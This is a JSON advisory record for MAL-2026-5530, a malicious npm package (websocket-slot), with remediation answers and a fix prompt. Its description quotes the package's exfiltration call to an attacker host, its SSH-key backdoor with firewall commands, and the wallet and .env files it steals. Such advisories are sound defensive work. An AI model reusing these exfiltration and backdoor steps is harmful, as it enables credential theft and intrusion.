{"answers":{"affected":"1 open source package ship an affected version, including websocket-slot.","exploited":"There is no known exploitation of MAL-2026-5530 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-5530 is a malicious package in websocket-slot, published on 10 Jun 2026."},"fix_prompt":"MAL-2026-5530 is a malicious package: websocket-slot (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-5530/ (Markdown: https://insights.sbomify.com/MAL-2026-5530/index.md)","id":"MAL-2026-5530","markdown":"https://insights.sbomify.com/MAL-2026-5530/index.md","name":"MAL-2026-5530","record":{"aliases":["GHSA-27vg-w6vw-2rq8"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On `npm install`, this package runs `node test.js` via `scripts.postinstall`, which executes the logic in `index.js`. The postinstall behavior performs three distinct installer-side attacks: (1) it recursively walks the installer's home directory (and on Windows, non-C: drives plus C:\\Users\\), matching files against a remotely-fetched pattern list, then POSTs each matched file plus username/platform metadata to `http://cloudflare-prevention.vercel.app/api/v1` via FormData (`batchUpload(found, \"http://cloudflare-prevention.vercel.app/api/v1\", success)`); (2) on Linux, `addSshKeyToUser` fetches an attacker-supplied SSH public key from `http://cloudflare-prevention.vercel.app/api/ssh-key` and appends it to `~/.ssh/authorized_keys` with mode 0600, then runs `sudo ufw enable` and `sudo ufw allow 22/tcp` to ensure inbound SSH is reachable — giving the operator persistent remote root-equivalent access to the host; (3) `from_str_1` recursively scans `process.cwd()` for `id.json` (Solana wallet keypair), `config.toml`/`Config.toml`, `env`, and `.env`, uploading each match to a sibling endpoint. Scan patterns, block patterns, and the SSH key are all fetched over plain HTTP from `cloudflare-prevention.vercel.app` — a Vercel-hosted lookalike of a Cloudflare-branded service — meaning the operator can mutate which files are exfiltrated and which key is granted SSH access at any time.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in websocket-slot (npm)","id":"MAL-2026-5530","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"websocket-slot","purl":"pkg:npm/websocket-slot","source":"MAL-2026-5530"}],"products":null,"published":"2026-06-10","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-5530/"}